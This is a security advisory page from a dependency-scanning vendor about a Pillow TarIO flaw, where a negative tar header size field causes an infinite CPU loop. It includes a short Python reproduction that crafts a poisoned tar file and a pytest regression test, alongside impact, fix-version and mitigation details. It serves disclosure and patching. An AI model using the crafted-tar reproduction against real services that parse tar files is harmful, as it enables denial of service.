Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

Pillow: TarIO negative size field causes infinite CPU-spin loopGHSA-3j72-p6qg-6xp7

Fix: python-pillow/Pillow#10012

GHSA-3j72-p6qg-6xp7 is a CWE-835 vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.

Also known asCVE-2026-96642
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍pillow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

Details

TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)

There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
    data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b"  -00001000"

with open("poisoned.tar", "wb") as f:
    f.write(data)

# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"


@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
    with open(SOURCE_TAR, "rb") as f:
        data = bytearray(f.read())

    data[124:135] = b"  -00001000"  # octal 1000 = decimal 512, negated

    poisoned_tar = tmp_path / "poisoned.tar"
    poisoned_tar.write_bytes(data)

    with pytest.raises((OSError, ValueError)):
        with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
            pass

Impact

  • Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
  • Confidentiality: none.
  • Integrity: none.
  • TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpillowall versions13.0.0pip install --upgrade 'pillow==13.0.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pillow to 13.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3j72-p6qg-6xp7 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary `TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns. ### Details `TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header: ```python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEK_CUR) ``` There is no check that size is zero or more. A tar header can set this field to a negativ
O3 Security · Impact-Aware SCA

Is GHSA-3j72-p6qg-6xp7 in your dependencies?

Find it across PyPI, including transitive dependencies.

Pillow: TarIO negative size field causes infinite CPU-spin…